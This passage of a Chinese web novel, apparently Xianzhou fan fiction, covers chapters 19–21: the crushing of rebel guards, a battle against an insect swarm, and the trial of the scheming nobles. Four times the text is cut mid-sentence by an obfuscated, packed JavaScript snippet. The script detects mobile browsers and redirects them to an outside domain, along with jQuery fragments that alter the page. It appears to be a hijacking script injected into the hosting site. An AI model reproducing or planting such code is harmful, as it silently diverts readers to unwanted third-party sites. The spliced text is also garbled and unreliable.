有人对此心怀感激,弃暗投明,自然也有人恨之入骨,继续为家族、为洞天之主效命。 这两军中的叛军细作都刻意没有完全肃清,后者更是在某一年的四月份巡航中酿成了大祸,因此这次的作战行动,这两支卫队都被派遣留守和防卫外敌。既有求稳的心态,也是对他们的观察审视。 果不其然,这些人闹哗变就像呼吸一样简单。但他们很快就发现这次煽动同袍没有上次那么容易,上次一呼百应,仿佛人人都怀揣着无比的不满,军中的情绪如同火种投入干草垛,一点就炸——看现在的情况,那仿佛只是他们的臆想。 因为这一次,淅淅沥沥的秋雨中,那空洞的煽动似乎也被浇灭了热度,又或者……是同袍的眼神比寒凉的秋雨还要肃杀。领头的人情不自禁地打了个冷颤,接着便是两腿一软,因为曾经袍泽的刀锋已然近在咫尺。 血流五步。 那枚中军帐侧的异色兵棋只是刚刚放上去,便被扔了下来,发出了一声清脆的响。 窗外微雨,草木窸窣,仿佛无人在这个宁静的秋日午后大动干戈。 岚等待了片刻,便在棋盘上放了一枚黑色的石子。那枚和双方兵棋形态都不同的石子“笃”一声落下。 与此同时,环绕圆峤的无数条星轨之中,一纵一横,互相交错的两条脱离了透明无形的状态,规律性地发出虚数能量波动,借此锚定了位置,所有军官的随身设备之中都发出了从未有过的警报:天外敌袭。 几乎所有人都愣住一瞬。 电光石火之间,承阳瞥见了敌人的神色,她几乎是立刻做出了应对:“按原计划,速战速决!” 军士们在之前的战斗中多有损耗,此时齐声应诺,都不约而同地取出了军中配备的药丸,嚼碎服下。为军士制备的丸剂多半有加速伤口愈合、迅速补充气血的功效,偶尔也会提供一些能够短暂提升身体素质但无副作用的药物,此时他们服下的是恢复类药品。 承阳不动声色地注视着对峙的敌军,果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099067|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然发现他们的神色有所松动,个别喜怒形于色者甚至露出了窃喜,便知道原本的情况果然都在对方的算计之中——药物有问题。 但很遗憾,青阳不是百叶,他比他师父更想做个好人。 动作未有丝毫滞涩,承阳飞身而上,剑气纵横之间,一个照面便斩落一人首级。 清凉苦涩的药丸在口中融化,手臂上尺来长的焦痕发出了愈合的瘙痒,承阳拎着她的剑,满意地看见刚刚被她斩首的敌人脸上尚未褪去的惊愕。她重新冲进敌阵中,扬手一挥,甩净了剑锋上的血渍,一边思索着天外的情况,一边朗声道:“杀!” 鸾翮卫的军士们齐声应和,士气冲天:“杀!!” 另一边,流花面对的也是同样的境地,对方自以为在军备药物中动了手脚,实际上算计落空,趁着叛军松懈的刹那,流花领着赤霄卫进行了反攻。她同样收到了示警,来不及多想,只能在通讯中提醒了承阳,接着继续关注眼前的战况。 岚的终端自然也响了。 他并未起身,只是以通讯通知自己的亲卫:“准备星舰,倘若两个时辰之后,鸾翮卫与赤霄卫没有发来迎击和支援请求,你们便领军,前去应战。”不是他留给他们打扫战场的时间只有这么久,而是以那支丰饶民舰队的预估速度,四个标准时堪堪能够让他们触及到星轨的自动反击。 “……不对。”质明若有所思,她轻轻敲着乱中有序的棋盘,微微侧着头,似乎在感知什么。 “那支舰队情况不对。” 说完这句,不等岚反应,她便霍然起身,一瞬间便闪现到了太穹浑仪旁边。 这两人并不在圆峤中枢葳蕤行道,而在摇光天。 静静运转的混沌系统仍然在演算天气,质明直接伸手,重构了其中的数据链条,淅淅沥沥的秋雨没有止息,但天空在瞬间便陈满了厚厚的云层,遮蔽日光,天色便顿时昏暗下来。 质明紧接着便取下了遮目的织物,那流动着玄奥符文的长长金纱被她扔在椅背上。时隔二十年,这位丰饶的令使,眼目化为双子恒星的长桑君,终于又睁开了她的双眼。 熟悉的被窥视感自云层中传来,岚这次倒没有什么不自在,他只是注视着质明形如日月的一对眸子。它们没有瞳孔,镶嵌在一白一黑的巩膜上,美丽中透着玄妙的神圣感。 质明此时并未注视岚,而是借着恒星的光芒,扫视星域中闯入的不速之客。 一支丰饶民舰队。 一支残破的丰饶民舰队,甚至一部分兽舰已经破损,能看出他们由造翼者与步离人混编。 他们遍体鳞伤,仓皇逃窜,形如丧家之犬。 获取航图与通讯设备的希望看来十分渺茫,但比起这个,质明更在意的是…… 什么在追逐他们? 这个问题很快有了答案。 鞘翅目振翅的声音单个听来并不嘈杂,但如果是成千上万,遮天蔽日的鞘翅目,那么他们振翅时发出的响动,足以在一瞬间惊醒一颗行星上的所有人。 虫群。 一只沾着雨水的蚱蜢从窗外跳了进来,蹦到了棋盘上。 19.前奏 距今约七百个琥珀纪之前,曾有一场席卷近三分之二银河的浩劫。 鞘翅目的最后一员,虫皇塔伊兹育罗斯,于无尽的孤独和对同伴的渴望中升格,造就了一条名为“繁育”的命途,也造就了仅持续五个琥珀纪,但贻害持续至今的“寰宇蝗灾”。 塔伊兹育罗斯的繁育是无尽的复制和分裂,祂的力量笼罩之下,胎胞中诞生的不再是人类或者其他生物的新生儿,而是一只又一只形态各异的鞘翅目。它们汇聚,振翅,飞翔,形成虫潮,啃噬文明与行星,直至摧毁整个星系,然后留下残骸,飞向宇宙。 繁育的星神本体早已陨落,但祂繁育的蠹役却仍然在银河中生长肆虐,与丰饶民一同被称为银河灾害。 虫群的可怕之处,很大程度上不在于单独的个体,而在于它们的数量。单独的真蛰虫并不难对付,但如果一旦形成规模又久战不下,擅长复制分裂的鞘翅目们就会形成虫潮,恶性循环,直至对抗者自身也被这些蠹役淹没。 “情况如何?”岚眉头微拧,直到质明垂眸沉思,才出声问询。 质明将绣着符文的金纱在手上轻轻卷了两圈,道:“从我视距之内看,嗯,规模不小,但没有王虫。” 寰宇广大,令使位格的存在不少,但也没有多到随随便便就能遇见,质明如此,繁育的令使亦如此。 岚沉吟片刻,眉头终于松开,神情看起来放松了些许:“仙舟启航两千余载,也曾遭遇虫群,军中训练队列时曾经涉及过真蛰虫……应当不至于劳动你。” “课堂上讲过和真的遇到是两回事。不过听你的口吻,你要去支援?”质明抬眼,一双久不见天日的眸子便看了过来,她的神情略显疑惑,脸上的表情是前所未有的清晰。 质明常以金纱遮目,那张脸上是看不见眉眼的,因此表情也难以捕捉,很多时候只能从她的唇角和声音中判断喜怒,这便是常有人评价她喜怒无常的原因之一。 岚略略偏转了视线,不去直视那一轮日月,只整理身上的护甲,沉声道:“正如你所言,虫群此来,变数太多,以防万一,某便不能再留后方。赤霄卫与鸾翮卫也罢,丛云卫与解衔卫她们尚不熟悉,恐怕难以指挥。” 岚一向寡言,很少一口气说这么长的一段话,只看他披甲佩剑的利落动作,便知道他已然下定决心。 质明不拦他,只道:“若有变故,随时联络。” 他最后看了一眼棋盘上的那只小虫,应了一句“某省得”便转身离开。 太穹浑仪恒常运转,刻意制造的阴云天气也无变动,质明再没有系上金纱,只伸手,将那只小小的虫儿拨开,扔出窗外。随后她才顶着这双没有瞳孔的眼目,回到了圆峤目前的中枢机构:葳蕤行道。 在质明正襟危坐,默默等待着共事二十多年,也明里暗里对抗了二十多年的“老朋友们”被押解归案,最后一一清算时,交错的星轨再次凝聚,闪动,通报了第二波天外来敌的存在。 陈满阴云的天空只为遮蔽她无物不可见的全视,并没有增大这一场秋雨,小雨仍然淅淅沥沥,单调中又带上了一股风雨欲来之前的宁静。 承阳感觉不到这种宁静。 她的脑子几乎要被连续两次的敌袭信息弄懵了。 第一次虽然猝不及防,但来的会是什么并不难猜。丹鼎司那些被封禁之后仍然秘密进行的研究,上一任司鼎百叶改动“自在应身”丹方,最后自己服下变成怪物的事故,以及那些狗急跳墙的蠹虫贵胄能想到的“外援”……兜兜转转,挑挑拣拣,似乎也只剩下了丰饶民。 养虎为患者总认为老虎会放过自己——就像仙舟人明明接入泛银河网络这么多年,也总以为自己不会变成下一个丰饶民。 但第二道敌袭信息……又是什么? 怀揣着这样的疑惑,将袭击秉烛鬼市的叛军打至溃不成军后,承阳迅速收拢了鸾翮卫的军士,留下了一部分人打扫战场。她迅速领着剩下的军士与从封云驿赶来的流花汇合,一起向着贵胄所在的洞天区域前进。 承阳当然考虑到了这两只卫队的对空力量缺乏,毫不避讳地请求了丛云卫的支援。 消息灵通的贵族老爷们当然不会坐以待毙,他们有的聚集起了私兵试图反抗,有的搭乘飞舸企图逃离,更有人孤注一掷准备引爆整个洞天……结果反抗的被打至跪地,逃跑的被一箭射落,想要同归于尽的更是就地格杀——比起他们的扈从,养尊处优的贵胄自己实在是不堪一击。 承阳缓缓放下拉出满月般弧度的重弓,冷眼看着一艘试图逃跑的飞舸伴随着浓烟坠落。 “把他们捆了,带去葳蕤行道。”承阳命令道。 这里的战斗很快结束,承阳让流花去清点战损,她自己则是一边看着同袍打扫战场,一边向上打了星舰使用的申请报告——无论星轨和防御力场之外是什么,都得去看看才能弄清楚。 她一边想着,一边抓进时间补充军备,同时绞尽脑汁地思索着第二道警报会是什么。 扶疏天,丹鼎司。 一处暗室从内打开。 潮湿温热的血腥味跟着青阳一起飘了出来,缠着他简朴的丹鼎司制服衣角。 他削瘦的手腕上缠着一圈又一圈透明的丝线,泛着浸润血液之后微微的粉。面容普通的青年走出几步,转身,将那用于控制他的暗室轻轻合上了门。 青阳再次转身时,那些纺线又回到了他的躯体中,仿佛并没有人如同穿针引线一般,串联起室内的叛军,为他们纺织出死亡的图谱。陌生的力量掌控起来确实有些吃力,但青阳既然能用这些丝线缝合病人的伤口,那么做出与之相反的行为,也并不困难。 现在的丹鼎司很安静。 当然安静了。 可以信任的医士都已经被征召随军,有问题的同僚们也已经被集中控制起来,剩下的闲人多半察觉了什么风声,躲在自己家里不出来,现在还在扶疏天晃悠的,好像只有刚刚脱离了囚禁的青阳这么一个。 于是他静默地穿过丹鼎司重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105629|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重的门,径自取来了应急的药物揣在身上。同时仗着值守者也不在,这人还从抽屉里翻出了不少平时舍不得用的珍贵药材,一股脑带走了。 也不知道这次事情过后,这里会变成什么样子,青阳想,但这一切可能都同他没有关系了。 青阳没有回到华清天自己的家中,也没有贸然前往可能仍在战斗的封云驿和秉烛鬼市. 他像是怀着某种信念一样,独自来到了葳蕤行道。此处的宿卫因为他的形容狼狈而看了他一眼,却没有阻拦他,这位医士便这么畅通无阻地深入了圆峤如今的机关要地。 出乎意料的是,这里并不像丹鼎司一样安静,反倒是有些异样的嘈杂。 平日里那些高高在上的达官显贵们,如今像是畜牧洞天里的晴柔一样,一根绳子从头到尾捆着无数个,咒骂着、祈求着、哀嚎着被拖了进去。即使葳蕤行道的砖石地面很干净,这些在地上挣扎的人还是不免蹭上了灰尘或者泥土,这下子,倒是看着像曾经青阳义诊时在窝棚里看见的贫民。 不多,就那么一点点。 毕竟这群人从不缺吃穿,也不会为了干净的水源打得头破血流,更不会被饥饿折磨得奄奄一息。 那时候还年轻又天真的青阳偷偷留下了一些自己的口粮,晚上回丹鼎司后喜提师父百叶的一顿臭骂。 青阳站在原地看了那些人一会儿,其中或许有他的“雇主”,或许没有,但他不太在意这种事了。片刻之后,他抬脚,往室内走去,无视了有人蠕动着试图凑近他,请他求情的动静。 当年在师父的墓碑前被人威胁的时候,也不见有这些人肯施舍他一二,只有长桑君接受了他的诚投,给予了他保护自己的力量。 正想着当年旧事,青阳进了殿内,便见长桑君坐在最上首,一袭青色大袖深衣,发簪桑枝,眼前没有遮目的金纱,一双眸子异色巩膜也异色的眼睛朝他看了过来。 那是一双美丽而诡异的眼睛,并非邪异,而是自己的一切都要被看穿的震慑,青阳只与她对视片刻,便迅速低下了头,平复自己因恐惧而狂跳的心脏。 质明也收回了眼神,她有些奇怪,直接问道:“青阳,你来作甚?” 青阳定了定神,后退半步,一揖到底,语气诚恳:“禀长桑君,在下已从丹鼎司脱困,此来是为请求随军出战,尽一份绵薄之力。” 质明的语气是一惯的温和,她思索片刻,便道:“……可。不过你如今衣冠不整,不如先去内室梳洗一番?军中星舰还有一段时间出发,你稍后可随他们一同登舰。”话说完,甚至让侍从为他指了路。 青阳也知道这并不是自己应该长久停留的场合,再次行礼,便离开此地。 绕过廊柱之后,他隐隐听见了长桑君温柔沙哑的嗓音,不是对他,而是对地上那一群未来的囚犯,她说: “你们之前也听见了吧,再过不久,你们的同盟便要自天外而来,开心么?” 同盟两个字的咬字极重,一听便极尽嘲讽。 20.痛斥 比起虫群,仓皇逃窜的小股丰饶民其实算不上什么威胁。 仙舟古国时代就能解决的问题,没道理到了星际时代反而成了难题。更遑论那一支丰饶民的舰队不仅人员失去了抵抗之心,连兽舰本身都已经残破不堪,造成不了太多有效的反抗。 可以说如果鸾翮卫不管他们,让他们在深空中漂流,失去能源供给的兽舰就能先消化乘客再消化自己,剩下一团永无餍足的烂肉,或者在这之前,就已经被虫群啃食殆尽。 圆峤的舰队将他们阻拦、俘虏,反倒是救了他们一命。 狼狈的造翼者和步离人在被歼星炮指着的时候老实得不得了,待到被俘虏又有的凶相毕露,光子炮能量枪一上去,又偃旗息鼓,问什么说什么。等那一头承阳收到了兽舰的检查结果,导航系统破损,星轨航图数据丢失,失望之余回来查看俘虏,这才得知了事情的原委和第二次警报来源。 丰饶民中的步离人自称是某一个大型猎群的商人,而造翼者们则是某一个谛颂种领导部族的成员,和步离人混在一起是为了交易他们的兽舰和武器装备。丰饶民之间素来有互相吞食的优良传统,因此双方约定好了某一个星系坐标作为交易地点,做足了准备才前往交易。 但没想到在交易途中他们正面遇上了一支虫群,组织反抗无果之后只能各自奔逃,这一小股丰饶民就是在仓皇逃窜的途中合流,然后没头没脑地跃迁,也不知道自己如今在什么地方。 兽舰需要食物,丰饶民也需要补给,正在一筹莫展准备大打出手浅尝一口盟友之际,兽舰破损的通讯设备突然收到了断断续续的通讯申请,邀请他们前来某个位置帮助对付丰饶神迹,事成之后必有重谢云云。 这看起来真的很像一个陷阱,但步离人和造翼者确实感知到了长生主赐福的存在,于是下定决心再次联络,约定好时间之后,他们就在星域附近逗留了一段时间做准备。 而事到如今,他们准备出发之际,缺乏能量的兽舰早已经把通讯功能和相关部件完全消化,不仅收不到对面的信息,虫群也不知道什么时候追了上来,只能没头没脑地撞进了质明的星域。 所以,第二道警报的来源,现在确定为虫群。 如何对付繁育的孑遗? 放眼寰宇,不同的存在会有不同的答案,公司舰队收容了许多天才造物和先进武器,力大砖飞,命途行者八仙过海,更有格拉默共和国以基因编辑技术制造熔火骑士……但终归揭底,指向的都是一个标准:你的杀戮应当比虫群的繁殖更快。 那么,鸾翮卫能够达到这种程度吗? 不能。承阳冷静地估算着虫群的数量。 “加上赤霄卫呢?” 流花抱剑而立,同样盯着星舰侦查图上密密麻麻的立体真蛰虫投影。 “有些勉强。” 仙舟的标准军制当然不仅仅是四支卫队。 但阋墙之战波及实在太广,第二次金人叛乱又紧随其后,圆峤其他军制的部队要么在动乱骤起之时就哗变成为起义军,要么在镇压褐夫的过程中损失惨重,而后又要与金人殊死战斗,以至于十不存一。 考虑到圆峤的特殊情况,岚在重整时便将其他部队的残余也一并,编入了四支卫队。至于别的军制,计划中是要等仙舟百姓完全恢复元气之后再行征召。 是以此次叛军与丰饶民里应外合之际,能用的军事力量仅有这四支卫队。 承阳回忆着这些,正想请求支援,便有一位高马尾的挺拔男子踏着沉稳步伐,缓步走进星舰的指挥室。 金瞳男子披甲携剑,身负重弓,神态平静,道:“解衔卫留守洞天,丛云卫支援已至——某来助你。” 来人正是岚。 他来时,承阳便是精神一振,不觉兵力调动筹谋之繁杂,也不觉得虫群振翅之声烦躁,如今踌躇满志起来,浑然像是她第一次放下孩童的木剑,拿起金铁浇铸的长剑。 此时话音落下,便昭示着仙舟圆峤对阵虫群的战斗,正式拉开帷幕。 环绕擎天巨木运行的两颗恒星一明一晦,有如此时坐镇中枢的那位长桑君,静默而温存地注视着他们。 “我当然可以帮你们解决这一切,就像当初控制那些金人一样,这不困难。”青阳请命随军,离去之前,他终于还是忍不住询问长桑君,她为何不出手,质明当时这么说,“但如果你们不想让偌大的仙舟以后变成我树根上的一抔浮土,那就最好自己想想办法。” “——这也不困难。”质明的语气温和一如往常。 承阳还记得当时那位青阳医士的神情,他近乎迷惘地看着质明的身影,连那双眼睛带给他的畏惧都忘了。 而如今,年轻的医士手腕上那些看起来像是缝合伤口用的丝线,正无情地绞碎一只只真蛰虫。 战斗持续了十五个日夜。 仙舟人恢复能力强悍,虫群繁殖能力可怖,前者如今对付后者并没有压倒性的力量与武器,只能让深空中的这片战场变得好似血肉磨盘,一点一点将双方的数量差距拉开、拉大。 质明也在葳蕤行道静坐了十五个日夜。 她一直注视着那篇战场,本体桑桂的每一片枝梢都想要去挽救行将消逝的生命,但质明不是由丰饶赐福而形成的生灵,本能先于意识产生,她曾经是一个人类,其个人意志凌驾于本能之上,所以她没有动。 那些被捆成猪猡一般的“老朋友”们没人来挪动,也没人来伺候,反正仙舟人轻易饿不死,他们只是十五日不饮不食,以前还有从出生起就没吃过一顿饱饭的孩子呢,这才哪儿到哪儿啊。 这段时间里,质明也熬鹰似的从这些贵胄们嘴里撬出了自己想要的信息。 当年那艘解衔卫发现的残破兽舰上确实还有通讯设备,但也是步离人特色生物科技,不以血食就无法继续维持功能。那贵胄不懂这些,只用了两次来联络丰饶民,便眼睁睁看着它变成了一摊烂肉,埋进了扶疏天的药田里,现在怕是什么都不剩下了。 质明也不恼,或者说,就联络外界这一件事,她这些年受到的挫折已经足够她对待此种情况保持平常心了。 界域定锚是研究不出来的,原有的通信设备是修不好的,修好的是发信石沉大海的,星轨航图是找不到的,可沟通的文明也是不存在的,现在连利用步离人的科技都希望渺茫,实在是不知道说些什么好。 不过利用丰饶命途的生物科技,也许对她而言不是无法可想…… 但考虑这件事之前,还是先处理眼前之事比较重要。 闯入星域的虫群已经剿灭殆尽,三支卫队即将凯旋,质明便也唤来侍者,将这一地贵胄耆宿拾掇拾掇,梳洗整理一番,再吃上一顿断头饭,免得待会儿三堂会审,连说话的力气都没有。 真蛰虫的分泌物带着微妙的柑橘香气,在外奋战十五天,军中士卒或多或少都沾染上了这股味道,再加上组织液、汗水和同袍的血迹,也是在有碍观瞻。因此在回到葳蕤行道之前,岚一行四人也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111534|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打理了自身,才跟着神情肃穆的云缨一起进入殿中。 天色早已阴云不再,今日天气晴好,碧空如洗,一派秋高气爽的通透气象。 重新戴上金纱,遮住非人双目的质明轻轻道:“既然人到齐了,那就开始吧。” “——堂下诸公,尔等认罪否?” 也不知质明这一句是触动了什么开关,之前十五日里奄奄一息,有什么说什么的贵胄里,突然有人抬头,挣扎着向前,力道之大,撞得他旁边一并捆着的两人也跟着踉跄。 只见此人双目圆睁,怒气勃发,张口便骂:“你这无耻妖妇,狼子野心,霍乱仙舟,如今竟敢问罪于我!” 质明心平气和地反驳他:“怎么,我是杀人筑了京观,还是重租税困辱了百姓,真是好生冤枉。” 她话音未落,斜下里便伸出一只手,一把将那贵胄按得跪倒在地上,痛得说不出话来。 是岚。 他即使卸下甲胄,也有一身战场杀气尚未消退,之前便是长眉紧锁,赫然强压着怒意,如今这一下,额头青筋乱跳,显然是不愿再忍。 岚斥骂着:“勿要胡乱攀咬,这是你之作为!” 贵胄挣扎着还要起身,岚素有膂力,手下人挣扎不得,只得大声叱骂:“你这丘八!别以为那妖妇如今看重你你就能有好下场!只待我等人头落地之时,便是你魂飞魄散之日!还有你们,一群乳臭未干的黄口小儿,自以为执掌军务,实则都是那妖妇的傀儡,我看你们能得意几时!!” “啪嗒” 什么轻巧的东西被扔在地上的声音。 那贵胄抬头一看,一枚精巧的玉印正碎在他跟前,残破的底面上赫然刻着四个仙舟文字:“圆峤御令”,正式象征着这座仙舟最高权柄之物。它如今正垃圾一样碎成几块,扔在贵胄面前。 “我不稀罕。”质明冷冷道。 下一秒,摁住他的岚收回了手。 这并不代表他的怒意平息,正相反,在眼前之人毫无悔过之心的刺激下,他的怒火与仇恨阴燃着,汇聚成一股冰冷的愤怒。 “从神降时代起,尔等便贪取不死,酿成祸端。如今更是坐视百姓入不敷出,易子而食,饿殍遍地,尔等倒是炊金馔玉,夜夜笙歌,你们堪为人? “更遑论里通外敌,图谋倾覆,你们将仙舟千亿百姓置于何地?怎么,他们在你们眼里不是人么?还是说,你们觉得在丰饶民眼中,你们与百姓天壤之别?某看尔等养尊处优,更好去做两脚羊。 “二十年,整整二十年,你们说这二十年可曾逼杀过你们?手段已然优容至此,仍然贪心不足,恬不知耻,染指丹鼎司,要害全军将士性命,难道他们护佑尔等平安,反而有错? “战况时时传回,某不信你们不曾听闻,你们可知丰饶民带来了什么?虫群,三军将士鏖战半月方胜的虫群!你们引狼入室,恶果却要某等背负,无耻之尤! “背叛仙舟,是为不忠; “悖反人类,是为不孝; “戕害百姓,是为不仁; “坑害士卒,是为不义; “胡乱攀咬,是为不礼; “里通外敌,是为不智; “矢口反复,是为不信。 “尔等不忠不孝不仁不义不礼不智不信之人,合该今日于殿上,惶惶然如丧家之犬!” 岚的话音落下,便有一人被听得面色惨白,喉中“嗬嗬”做声,赫然有银杏枝条透体而出,竟是当场坠入魔阴。 21.余波 虽然岚此时正在气头上,但见那贵胄顷刻之间便被银杏覆体,撑得不成人形,也是一惊。 这群蠹虫如此倒行逆施,自食恶果是意料之中,但谁也没想到报应会来得如此之快。就在这三堂会审,对簿公堂之际,竟然有人受不了言语刺激,当场化为孽物。 此时正是白日,质明的本体呈现桑树形态。只听她一声幽幽叹息,挥了挥手,便有枝桠从窗外探入殿内,不断生长,直至翠绿的桑叶与新生的桑枝将那点缀着金黄叶片的人形包裹。细微的虚数能量波动不易察觉,但殿中众人却是看得分明。 桑桂的枝叶从那孽物身躯中勾出了什么,在几个呼吸间变幻为一个半透明的眼熟人形,正是刚才那面无人色的贵胄。他神情恍惚地注视着自己虚幻的双手,显然尚未从这变故中回过神来。 众人目光都集中在他身上,岚也一样,而察觉到这煞神的目光,这贵胄竟情不自禁后退半步,跌坐在地上。 岚冷哼一声,移开了目光,将询问的视线投向质明。 “暂且让其魂魄脱离肉身束缚,只等此间事了,交代完后事,便归葬邙山。” 岚激愤陈情之后,质明便不再言语,此时方才出面解释。她见殿中都被方才发生的一连串事件镇住,也不再等待各方陈述,而是在策士云缨奋笔疾书完成了记录之后,示意她直接开始流程。 如今殿中被捆缚之人,所作所为实在罄竹难书。从二十年不间断的刺杀,到收买中枢各个官员,又是把手伸进丹鼎司,又是在四支卫队里安插细作……一桩桩一件件,有的质明知道,有的她没听过,一开始还能保持兴致勃勃,但听久了,就算是云缨的好嗓子也催眠。 质明只能暗暗思索,这一桩麻烦事过后,她需要花多久才能把手头的事情全部扔出去。 古人云治大国如烹小鲜,对于质明而言,治理圆峤仙舟就如同看护一株珍稀植物。它美丽,繁茂,有无限的可能,但叶片底下、根系之间,却长着毒虫和病藓,人能做的无非就是给予养分,然后慢慢铲除这些有害的东西,提供支撑和庇护。 现在这些毒虫病变已经处理干净,再不错眼地盯着就实在没那个必要。 生命会自己找到出路,植物如此,人也一样。 质明的思考告一段落,对贵胄的问责也将结束,她便看着承阳与众人商议之后判了他们入灭,定好日期。在年轻人们按照流程问询她这位长桑君的时候,质明只是轻飘飘地把行刑与后续的所有事情交给他们,让他们自行决定。 一身庄重深衣的女人在最上首撑着脸轻笑:“我只是坐镇中枢,非我之功。” 由她这一句话作结,纠葛了圆峤仙舟将近三千年,自神降时代起便引出无数祸事,牵扯了质明与岚二十余年的贵胄耆宿阶层,与他们洞天之主的身份一起,终于在这个寻常的秋日宣告消失。 会议结束,流花瞥了一眼好友,很识趣地拉走了云缨和欲言又止的青阳,自去处理后续。得了空闲,无事一身轻的三人便结伴归去。 离开了中枢,回了居所的那座小庭院,质明便调侃道:“我可是外星人,你骂了他们就不能骂我了哦?” 岚一时怔住,愣了半晌,才回了质明这句俏皮话:“……某骂你作甚。” “你不骂我有的是人骂我,”质明笑道,“我可已经想了不少史笔措辞,什么郑伯之姿,专权独揽……” 岚等着她的后话,果不其然,她又笑盈盈地对岚道:“大概也会把你那些话记录下来,然后改编成檄文,要是改得颇有文采,指不定每个翻书的人都能被你骂上一通?” “……情理之中。”他憋了半天也只吐出来四个字。 见他不再接话,质明才正色,又让师徒两个在自己面前排排站好,上下观察这两个刚从战场上下来的人。 岚自是八风不动老神在在,他的身体由纯粹的虚数能量构成,虽有实体但受伤不会留下痕迹,破损的甲胄早就换下,如今也不怕质明查看。但承阳就不一样了,她是血肉之躯,就算青阳做的药再好用,青阳本人治疗能力再出众,在质明这里也是班门弄斧。 只见质明在她肩头轻轻一点,她便“嘶”了一声。 “是伤口没长好,还是断了刚接上?”质明解开女儿左臂的护腕,将她的手臂轻轻托起。 承阳嚅嗫了一下,还是选择说实话:“被虫子吃了,新长的,还没长好。” 质明拉着她到桌边坐下,搭在承阳腕上的手泛起治愈的微光,又问:“别的地方呢?” 承阳挠了挠头,也不绕着圈子说话也不糊弄,老老实实地道:“太多了不记得,但都好得差不多了。” 仙舟人生理特征如此,长成之后身体就会无限趋向于恢复某个恒定的原状,所以他们不怕断肢伤残,也不怕绝大多数病痛。但也正因为这种特性,如果天生就有缺陷,无论怎么治疗辅助,也会恢复原状。 质明沉默地为承阳治好了其他零零碎碎的伤口,轻轻抚摸着她的脸颊。二十多岁的大姑娘还是习惯性地蹭蹭母亲的手,然后又伸手握住了它。 质明问:“会觉得辛苦么,我为你指的路?” 金色眼睛的姑娘又笑眯眯的了:“路就在那里,又不止一条。我既然站上去,就是已经做了选择,母亲,不用太担心我。” 质明闻言沉吟片刻,瞥了一眼岚,冷不丁地问:“……既然这样,你这边我已经了解,那你师父战场上的情况如何?”她也不避着人,就这么大剌剌的当着岚的面问他的好徒弟,毕竟她问的话,只能得到两个字:无碍。 在岚沉默的注视下,承阳毫不犹豫地揭了他的老底:“师父他老人家自然是身先士卒,勇猛无畏,甲胄都换了好几套。” 质明于是叹气。 近些年两个人都忙得不可开交,和中枢官僚扯皮的扯皮,规整军制练兵的练兵,一些细腻幽微的心思便都按下不表。岚只当自己从未有过绮思,也从没听过某一个月夜质明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115327|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随口而出的调侃,质明也权当自己感觉不到岚落在她身上的视线,和彼此稍有越界的关心。 虽然如今诸事已毕,但唯独这件事,都有些拿不定主意,就这么稀里糊涂地过下去,或许也不错…… “虽说你不会轻易死去,但多少顾惜自身,莫要旁人看了跟着忧心。” 承阳一边给自己重新戴上护腕,一边左看看这个右看看那个,有心想说两句,又觉得自己这两位家人这么耗下去也很有意思,便没再开口。 她到底年轻,对男女之事半懂不懂,周围的朋友大多也是金人叛乱时期出生的,没几个父母齐全家庭和美,也就没人同她谈起相关的事。而且她养在质明膝下二十余年,自懂事起这两人便是如此相处,自然也不会迫切想让他们做出改变。 她习惯性地想,说到底,都是长生种,那么着急做什么。 日影逐渐西沉,忙碌了一整天大事,师徒两个战场上十五天不眠不休,质明也在中枢坐镇了半个月,多少都有些疲倦。三个人闲闲地又没头没脑地聊了一会儿,大多是母女两个在聊,岚在一边杵着听,偶尔话头到他身上就应两句,用过晚饭,也便各自散去休息。 这二十年都是如此,没有谁去以某种定义锚定这份关系,但他们确实是毋庸置疑的家人。 当然,承阳不急有的是人急——云缨就很急,连带着青阳也不得不关注起这种以前和他毫无关系的事情。 